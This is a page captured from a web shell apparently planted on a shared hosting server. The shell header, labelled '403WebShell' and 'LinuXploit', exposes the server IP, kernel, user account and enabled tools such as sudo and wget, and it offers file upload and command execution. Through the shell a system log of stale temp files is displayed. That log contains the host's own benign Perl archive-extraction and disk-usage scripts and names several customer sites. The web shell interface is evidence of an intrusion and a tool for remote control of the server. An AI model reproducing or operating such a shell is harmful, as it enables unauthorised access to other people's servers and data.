%PDF- %PDF- 403WebShell
403Webshell
Server IP : 79.170.40.229  /  Your IP : 18.116.13.148
Web Server : Apache
System : Linux web232.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : 1stforcarhirealicante.com ( 296923)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/var/log/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/var/log/temp_ftp_log
2022-10-20 11:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-10-20 15:01:04: 3 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-10-21 09:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-10-21 10:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-10-21 11:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-10-26 16:01:03: 5 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-10-28 15:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-11-17 08:01:04: 5 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-11-21 17:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-11-22 11:01:03: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-11-29 20:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-12-05 15:01:04: 4 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-12-06 11:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-12-08 12:01:04: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-12-22 16:01:02: 11 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2022-12-27 11:01:04: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-01-06 10:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-01-13 15:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-01-14 20:01:05: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-01-19 10:01:01: 3 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-01-19 11:01:03: 4 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-01-21 20:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-01-25 16:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-01-25 17:01:03: 4 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-01-26 09:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-01-30 23:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-02-02 01:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-02-15 22:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-03-07 18:01:05: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-03-09 08:01:04: 3 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-03-09 13:01:03: 5 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-03-09 14:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-03-13 13:01:02: 6 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-03-13 14:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
/home/sites/finderskeepersmcr.com/public_html/ftpCkZtLR.cgi, created at 2023-03-13 13:19:12, was still on web232.extendcp.co.uk at 2023-03-13 14:01:03
It contained
#!/usr/bin/perl
 use warnings;
 use strict;
 
 use File::Find;
 use File::Spec;
 use Cwd;
 use CGI;
 use Archive::Tar;
 use IO::Zlib;
 
 main( @ARGV ) if not caller();
 
 sub main {
 
   unlink $0;
   ( my $wd = $0 ) =~ s/[^\/\\]+$//;
   if ( $wd ) {
     if ( not dir_exists( $wd ) ) {
       die "Dir does not exist " . $wd;
     }
     chdir( $wd ) or die "chdir($wd) failed: $!";
   }
 
   eval {
     # 2021-01-18 - we believe that this will always fail on windows and always on 
     # at least some linux builds too.  Therefore not even warning if fails, just try
     # and then continue regardless.  
     require BSD::Resource;
     BSD::Resource::setrlimit( BSD::Resource::RLIMIT_VMEM(), 250_000_000, 250_000_000 );
   };
 
   umask( 022 );
   chomp( my $filename = <DATA> );
 
   if ( $filename =~ s/^(.*\/)// ) {
     if ( not dir_exists( $1 ) ) {
       die "Dir does not exist " . $1;
     }
     chdir( $1 ) or die "chdir($1) failed: $!";
   }
 
   my $is_big_file = is_big_file( $filename );
   my $is_windows_server = ( ( $ENV{ "SERVER_SOFTWARE" } || "" ) =~ /IIS/ );
   my $cgi = CGI->new();
 
   if ( $filename =~ /\.zip$/i ){
     my $dir = getcwd();
     print $cgi->header( "text/plain" );
     exec_wrapper( "unzip", "-d", $dir, File::Spec->rel2abs( $filename ) );
   }
 
   if( $is_big_file and not $is_windows_server ) {
     print $cgi->header( "text/plain" );
     if ( $filename =~ /\.gz$/i ) {
       exec_wrapper( "pax", "-rzvf", $filename );
     }
     elsif ( defined( $filename ) and length( $filename ) ) {
       exec_wrapper( "pax", "-rvf", $filename );
     }
     die "Unable to pick extractor for large file $filename";
   }
 
   if ( $filename =~ /\.tar$/i ) {  # uncompressed tar files
     # extracting from an uncompressed tar file
     if( $is_big_file ) {
       print $cgi->header( "text/plain" );
       exec_wrapper( "tar", "xf", $filename );
     }
     else {
       my $tar = Archive::Tar->new();
       $tar->read( $filename, 0 );
       print $cgi->header( "text/plain" );
       print $tar->extract()
     }
   }
   elsif ( $filename =~ /\.bz2$/i ) {  # bzip2 compressed files
 
     my $funcompressed = $filename;
     $funcompressed =~ s/\.bz2$//i;
 
     # uncompressing a bzip2 compressed file
     my $funcom = $funcompressed;
     system_exit_val( "/usr/bin/bzcat '$filename' > '$funcompressed'" ) == 0
       or die "Failed to uncompress $filename";
 
     # Does it need to be untarred now?
     if ( $funcom =~ /\.tar$/i ) {   # it's now an uncompressed tar file
       my $tar = Archive::Tar->new();
       $tar->read( $funcompressed, 0 );
       print $cgi->header( "text/plain" );
       print $tar->extract();
       unlink $funcompressed;
     }
   } else {
     # We should not get here unless the original file was a compressed
     # tar archive processing a compressed tar or gzip file
     my $tar = Archive::Tar->new();
     $tar->read( $filename, 1 );
     print $cgi->header( "text/plain" );
     print $tar->extract();
   }
 
   close( DATA ) and unlink( $0 );
 }
 
 # in subs so I can redefine in test
 sub exec_wrapper {
   my ( @cmd_parts ) = @_;
 
   exec( @cmd_parts )
     or die "exec failed " . $!;
   # should be impossible to get here ...
 }
 
 sub system_exit_val {
   my ( $cmd ) = @_;
 
   system( $cmd );
   if ( $? == -1 ){
     warn "Failed to execute $cmd";
     return -1;
   }
   elsif ( $? & 127 ) {
     warn "cmd $cmd died with sig " . ( $? & 127 );
     return -1;
   }
   my $exit_val = $? >> 8;
   return $exit_val;
 }
 
 sub is_big_file {
   my ( $filename ) = @_;
   return ( -s $filename > 32_000_000 );
 }
 
 sub dir_exists {
   my ( $dir ) = @_;
   return ( -d $dir );
 }
 1;
 __DATA__
 _inone.tar.bz2
and was created by ../HostingCommon/Base.pm
2023-03-14 08:01:04: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-03-23 23:01:04: 3 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-03-29 09:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-04-06 11:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-04-09 13:01:01: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
/home/sites/valleystriders.org.uk/public_html/ftpLL33Fl.cgi, created at 2023-04-09 12:18:09, was still on web232.extendcp.co.uk at 2023-04-09 13:01:01
It contained
#!/usr/bin/perl -w
 use strict;
 use warnings;
 chomp(my @from=<DATA>);
 
 require POSIX;
 my %seen_dev_inode=();
 
 # Fix path separators
 (my $path_sep=POSIX::getcwd())=~s#^(?:\w+:)?(.).*#$1#;
 
 sub du_r {
   my ($f) = @_;
   my @s=lstat($f); 
   unless(@s) {
     warn "lstat() failed for $f: $!";
   }
   if($s[1] and $seen_dev_inode{$s[0]}{$s[1]}) {
     return 0; # Already seen.
   }
   $seen_dev_inode{$s[0]}{$s[1]}=1;
   my $size = $s[12] ? 512*$s[12] : $s[7];
   $size||=0;
   if(not(-l $f) and -d $f) {
     my $owd = POSIX::getcwd();
     my @dents;
     if(opendir(DIR, "$f")) {
       @dents = grep {!m/^(\.\.?)$/} readdir DIR;
       closedir DIR;
     }
     $size+=du_r(join($path_sep, $f, $_)) for @dents;
   }
   return $size;
 }
 if($^X=~/[.]dll$/) {
   print "HTTP/1.1 200 OK\r\n";
 }
 print "Content-Type: text/plain\r\n\r\n";
 @from = map {s#/#$path_sep#g; $_} @from;
 #
 printf("%.0fM\n", du_r($_)/(1024*1024)) for @from;
 close(DATA) and unlink($0);
 __DATA__
 ../
and was created by ../HostingCommon/Local.pm
/home/sites/valleystriders.org.uk/public_html/ftpQUfH0k.cgi, created at 2023-04-09 12:18:27, was still on web232.extendcp.co.uk at 2023-04-09 13:01:01
It contained
#!/usr/bin/perl -w
 use strict;
 use warnings;
 chomp(my @from=<DATA>);
 
 require POSIX;
 my %seen_dev_inode=();
 
 # Fix path separators
 (my $path_sep=POSIX::getcwd())=~s#^(?:\w+:)?(.).*#$1#;
 
 sub du_r {
   my ($f) = @_;
   my @s=lstat($f); 
   unless(@s) {
     warn "lstat() failed for $f: $!";
   }
   if($s[1] and $seen_dev_inode{$s[0]}{$s[1]}) {
     return 0; # Already seen.
   }
   $seen_dev_inode{$s[0]}{$s[1]}=1;
   my $size = $s[12] ? 512*$s[12] : $s[7];
   $size||=0;
   if(not(-l $f) and -d $f) {
     my $owd = POSIX::getcwd();
     my @dents;
     if(opendir(DIR, "$f")) {
       @dents = grep {!m/^(\.\.?)$/} readdir DIR;
       closedir DIR;
     }
     $size+=du_r(join($path_sep, $f, $_)) for @dents;
   }
   return $size;
 }
 if($^X=~/[.]dll$/) {
   print "HTTP/1.1 200 OK\r\n";
 }
 print "Content-Type: text/plain\r\n\r\n";
 @from = map {s#/#$path_sep#g; $_} @from;
 #
 printf("%.0fM\n", du_r($_)/(1024*1024)) for @from;
 close(DATA) and unlink($0);
 __DATA__
 ../public_html
and was created by ../HostingCommon/Local.pm
2023-04-09 15:01:03: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-04-10 15:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
/home/sites/valleystriders.org.uk/public_html/ftpifZPOV.cgi, created at 2023-04-10 14:16:41, was still on web232.extendcp.co.uk at 2023-04-10 15:01:03
It contained
#!/usr/bin/perl -w
 use strict;
 use warnings;
 chomp(my @from=<DATA>);
 
 require POSIX;
 my %seen_dev_inode=();
 
 # Fix path separators
 (my $path_sep=POSIX::getcwd())=~s#^(?:\w+:)?(.).*#$1#;
 
 sub du_r {
   my ($f) = @_;
   my @s=lstat($f); 
   unless(@s) {
     warn "lstat() failed for $f: $!";
   }
   if($s[1] and $seen_dev_inode{$s[0]}{$s[1]}) {
     return 0; # Already seen.
   }
   $seen_dev_inode{$s[0]}{$s[1]}=1;
   my $size = $s[12] ? 512*$s[12] : $s[7];
   $size||=0;
   if(not(-l $f) and -d $f) {
     my $owd = POSIX::getcwd();
     my @dents;
     if(opendir(DIR, "$f")) {
       @dents = grep {!m/^(\.\.?)$/} readdir DIR;
       closedir DIR;
     }
     $size+=du_r(join($path_sep, $f, $_)) for @dents;
   }
   return $size;
 }
 if($^X=~/[.]dll$/) {
   print "HTTP/1.1 200 OK\r\n";
 }
 print "Content-Type: text/plain\r\n\r\n";
 @from = map {s#/#$path_sep#g; $_} @from;
 #
 printf("%.0fM\n", du_r($_)/(1024*1024)) for @from;
 close(DATA) and unlink($0);
 __DATA__
 ../
and was created by ../HostingCommon/Local.pm
2023-04-11 01:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-04-11 22:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-04-15 21:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-04-22 10:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-04-25 17:01:03: 4 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-05-03 16:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-05-12 14:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-05-23 20:01:14: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-06-07 10:01:05: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-06-08 14:01:04: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-06-15 13:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-06-15 16:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
/home/sites/fidws.com/public_html/ftpJBXmh2.cgi, created at 2023-06-15 15:02:16, was still on web232.extendcp.co.uk at 2023-06-15 16:01:04
It contained
#!/usr/bin/perl -w
 use strict;
 use warnings;
 chomp(my @from=<DATA>);
 
 require POSIX;
 my %seen_dev_inode=();
 
 # Fix path separators
 (my $path_sep=POSIX::getcwd())=~s#^(?:\w+:)?(.).*#$1#;
 
 sub du_r {
   my ($f) = @_;
   my @s=lstat($f); 
   unless(@s) {
     warn "lstat() failed for $f: $!";
   }
   if($s[1] and $seen_dev_inode{$s[0]}{$s[1]}) {
     return 0; # Already seen.
   }
   $seen_dev_inode{$s[0]}{$s[1]}=1;
   my $size = $s[12] ? 512*$s[12] : $s[7];
   $size||=0;
   if(not(-l $f) and -d $f) {
     my $owd = POSIX::getcwd();
     my @dents;
     if(opendir(DIR, "$f")) {
       @dents = grep {!m/^(\.\.?)$/} readdir DIR;
       closedir DIR;
     }
     $size+=du_r(join($path_sep, $f, $_)) for @dents;
   }
   return $size;
 }
 if($^X=~/[.]dll$/) {
   print "HTTP/1.1 200 OK\r\n";
 }
 print "Content-Type: text/plain\r\n\r\n";
 @from = map {s#/#$path_sep#g; $_} @from;
 #
 printf("%.0fM\n", du_r($_)/(1024*1024)) for @from;
 close(DATA) and unlink($0);
 __DATA__
 ../
and was created by ../HostingCommon/Local.pm
2023-06-18 02:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-06-18 03:01:01: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-06-20 15:01:05: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-07-03 13:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-07-06 09:01:05: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-07-11 11:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-07-13 11:01:03: 5 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
/home/sites/tvlink.co.uk/public_html/ftpCIyZlS.cgi, created at 2023-07-13 10:57:09, was still on web232.extendcp.co.uk at 2023-07-13 11:01:03
It contained
#!/usr/bin/perl -w
 use strict;
 use warnings;
 chomp(my @from=<DATA>);
 
 require POSIX;
 my %seen_dev_inode=();
 
 # Fix path separators
 (my $path_sep=POSIX::getcwd())=~s#^(?:\w+:)?(.).*#$1#;
 
 sub du_r {
   my ($f) = @_;
   my @s=lstat($f); 
   unless(@s) {
     warn "lstat() failed for $f: $!";
   }
   if($s[1] and $seen_dev_inode{$s[0]}{$s[1]}) {
     return 0; # Already seen.
   }
   $seen_dev_inode{$s[0]}{$s[1]}=1;
   my $size = $s[12] ? 512*$s[12] : $s[7];
   $size||=0;
   if(not(-l $f) and -d $f) {
     my $owd = POSIX::getcwd();
     my @dents;
     if(opendir(DIR, "$f")) {
       @dents = grep {!m/^(\.\.?)$/} readdir DIR;
       closedir DIR;
     }
     $size+=du_r(join($path_sep, $f, $_)) for @dents;
   }
   return $size;
 }
 if($^X=~/[.]dll$/) {
   print "HTTP/1.1 200 OK\r\n";
 }
 print "Content-Type: text/plain\r\n\r\n";
 @from = map {s#/#$path_sep#g; $_} @from;
 #
 printf("%.0fM\n", du_r($_)/(1024*1024)) for @from;
 close(DATA) and unlink($0);
 __DATA__
 ../
and was created by ../HostingCommon/Local.pm
/home/sites/tvlink.co.uk/public_html/ftpQfQ4Y1.cgi, created at 2023-07-13 10:57:15, was still on web232.extendcp.co.uk at 2023-07-13 11:01:03
It contained
#!/usr/bin/perl -w
 use strict;
 use warnings;
 chomp(my @from=<DATA>);
 
 require POSIX;
 my %seen_dev_inode=();
 
 # Fix path separators
 (my $path_sep=POSIX::getcwd())=~s#^(?:\w+:)?(.).*#$1#;
 
 sub du_r {
   my ($f) = @_;
   my @s=lstat($f); 
   unless(@s) {
     warn "lstat() failed for $f: $!";
   }
   if($s[1] and $seen_dev_inode{$s[0]}{$s[1]}) {
     return 0; # Already seen.
   }
   $seen_dev_inode{$s[0]}{$s[1]}=1;
   my $size = $s[12] ? 512*$s[12] : $s[7];
   $size||=0;
   if(not(-l $f) and -d $f) {
     my $owd = POSIX::getcwd();
     my @dents;
     if(opendir(DIR, "$f")) {
       @dents = grep {!m/^(\.\.?)$/} readdir DIR;
       closedir DIR;
     }
     $size+=du_r(join($path_sep, $f, $_)) for @dents;
   }
   return $size;
 }
 if($^X=~/[.]dll$/) {
   print "HTTP/1.1 200 OK\r\n";
 }
 print "Content-Type: text/plain\r\n\r\n";
 @from = map {s#/#$path_sep#g; $_} @from;
 #
 printf("%.0fM\n", du_r($_)/(1024*1024)) for @from;
 close(DATA) and unlink($0);
 __DATA__
 ../public_html
and was created by ../HostingCommon/Local.pm
/home/sites/tvlink.co.uk/public_html/ftp2uZTXZ.cgi, created at 2023-07-13 10:57:32, was still on web232.extendcp.co.uk at 2023-07-13 11:01:03
It contained
#!/usr/bin/perl -w
 use strict;
 use warnings;
 chomp(my @from=<DATA>);
 
 require POSIX;
 my %seen_dev_inode=();
 
 # Fix path separators
 (my $path_sep=POSIX::getcwd())=~s#^(?:\w+:)?(.).*#$1#;
 
 sub du_r {
   my ($f) = @_;
   my @s=lstat($f); 
   unless(@s) {
     warn "lstat() failed for $f: $!";
   }
   if($s[1] and $seen_dev_inode{$s[0]}{$s[1]}) {
     return 0; # Already seen.
   }
   $seen_dev_inode{$s[0]}{$s[1]}=1;
   my $size = $s[12] ? 512*$s[12] : $s[7];
   $size||=0;
   if(not(-l $f) and -d $f) {
     my $owd = POSIX::getcwd();
     my @dents;
     if(opendir(DIR, "$f")) {
       @dents = grep {!m/^(\.\.?)$/} readdir DIR;
       closedir DIR;
     }
     $size+=du_r(join($path_sep, $f, $_)) for @dents;
   }
   return $size;
 }
 if($^X=~/[.]dll$/) {
   print "HTTP/1.1 200 OK\r\n";
 }
 print "Content-Type: text/plain\r\n\r\n";
 @from = map {s#/#$path_sep#g; $_} @from;
 #
 printf("%.0fM\n", du_r($_)/(1024*1024)) for @from;
 close(DATA) and unlink($0);
 __DATA__
 ../
and was created by ../HostingCommon/Local.pm
/home/sites/tvlink.co.uk/public_html/ftp7YPrwi.cgi, created at 2023-07-13 10:58:27, was still on web232.extendcp.co.uk at 2023-07-13 11:01:03
It contained
#!/usr/bin/perl -w
 use strict;
 use warnings;
 chomp(my @from=<DATA>);
 
 require POSIX;
 my %seen_dev_inode=();
 
 # Fix path separators
 (my $path_sep=POSIX::getcwd())=~s#^(?:\w+:)?(.).*#$1#;
 
 sub du_r {
   my ($f) = @_;
   my @s=lstat($f); 
   unless(@s) {
     warn "lstat() failed for $f: $!";
   }
   if($s[1] and $seen_dev_inode{$s[0]}{$s[1]}) {
     return 0; # Already seen.
   }
   $seen_dev_inode{$s[0]}{$s[1]}=1;
   my $size = $s[12] ? 512*$s[12] : $s[7];
   $size||=0;
   if(not(-l $f) and -d $f) {
     my $owd = POSIX::getcwd();
     my @dents;
     if(opendir(DIR, "$f")) {
       @dents = grep {!m/^(\.\.?)$/} readdir DIR;
       closedir DIR;
     }
     $size+=du_r(join($path_sep, $f, $_)) for @dents;
   }
   return $size;
 }
 if($^X=~/[.]dll$/) {
   print "HTTP/1.1 200 OK\r\n";
 }
 print "Content-Type: text/plain\r\n\r\n";
 @from = map {s#/#$path_sep#g; $_} @from;
 #
 printf("%.0fM\n", du_r($_)/(1024*1024)) for @from;
 close(DATA) and unlink($0);
 __DATA__
 ../
and was created by ../HostingCommon/Local.pm
/home/sites/tvlink.co.uk/public_html/ftpMzAfHx.cgi, created at 2023-07-13 10:58:34, was still on web232.extendcp.co.uk at 2023-07-13 11:01:03
It contained
#!/usr/bin/perl -w
 use strict;
 use warnings;
 chomp(my @from=<DATA>);
 
 require POSIX;
 my %seen_dev_inode=();
 
 # Fix path separators
 (my $path_sep=POSIX::getcwd())=~s#^(?:\w+:)?(.).*#$1#;
 
 sub du_r {
   my ($f) = @_;
   my @s=lstat($f); 
   unless(@s) {
     warn "lstat() failed for $f: $!";
   }
   if($s[1] and $seen_dev_inode{$s[0]}{$s[1]}) {
     return 0; # Already seen.
   }
   $seen_dev_inode{$s[0]}{$s[1]}=1;
   my $size = $s[12] ? 512*$s[12] : $s[7];
   $size||=0;
   if(not(-l $f) and -d $f) {
     my $owd = POSIX::getcwd();
     my @dents;
     if(opendir(DIR, "$f")) {
       @dents = grep {!m/^(\.\.?)$/} readdir DIR;
       closedir DIR;
     }
     $size+=du_r(join($path_sep, $f, $_)) for @dents;
   }
   return $size;
 }
 if($^X=~/[.]dll$/) {
   print "HTTP/1.1 200 OK\r\n";
 }
 print "Content-Type: text/plain\r\n\r\n";
 @from = map {s#/#$path_sep#g; $_} @from;
 #
 printf("%.0fM\n", du_r($_)/(1024*1024)) for @from;
 close(DATA) and unlink($0);
 __DATA__
 ../public_html
and was created by ../HostingCommon/Local.pm
2023-07-30 18:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-08-02 10:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-08-02 11:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-08-04 18:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-08-15 16:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-08-25 12:01:02: 8 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-08-25 13:01:04: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-08-25 14:01:04: 6 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-08-25 16:01:05: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-08-27 15:01:03: 13 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-09-21 13:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-10-06 17:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-10-19 01:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-10-30 11:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-11-07 09:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-11-08 13:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-11-14 13:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-11-22 21:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-11-23 23:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-11-26 22:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-12-01 11:01:06: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-12-01 13:01:15: 3 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-12-06 12:01:04: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-12-23 13:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-12-23 15:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2023-12-24 01:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-01-02 15:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-01-22 11:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-05 17:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-06 22:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-06 23:01:03: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-07 09:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-07 14:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-07 17:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-07 18:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-12 17:01:04: 4 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-13 12:01:03: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-13 14:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-14 22:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-18 15:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-19 17:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-19 18:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-19 19:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-20 07:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-20 10:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-20 19:01:02: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-24 18:01:04: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-27 17:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-28 17:01:03: 3 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-28 19:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-02-28 21:01:03: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-01 12:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-03 11:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-03 12:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-04 13:01:03: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-05 18:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-11 02:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-11 18:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-16 16:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-16 18:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-17 11:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-17 17:01:02: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-19 14:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-20 16:01:03: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-20 17:01:03: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-03-31 18:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-04-01 12:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-04-29 10:01:04: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-05-09 17:01:03: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-05-09 18:01:02: 1 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-06-14 13:01:02: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk
2024-06-26 17:01:03: 2 temp_ftp files more than 120 seconds old on web232.extendcp.co.uk

Youez - 2016 - github.com/yon3zu
LinuXploit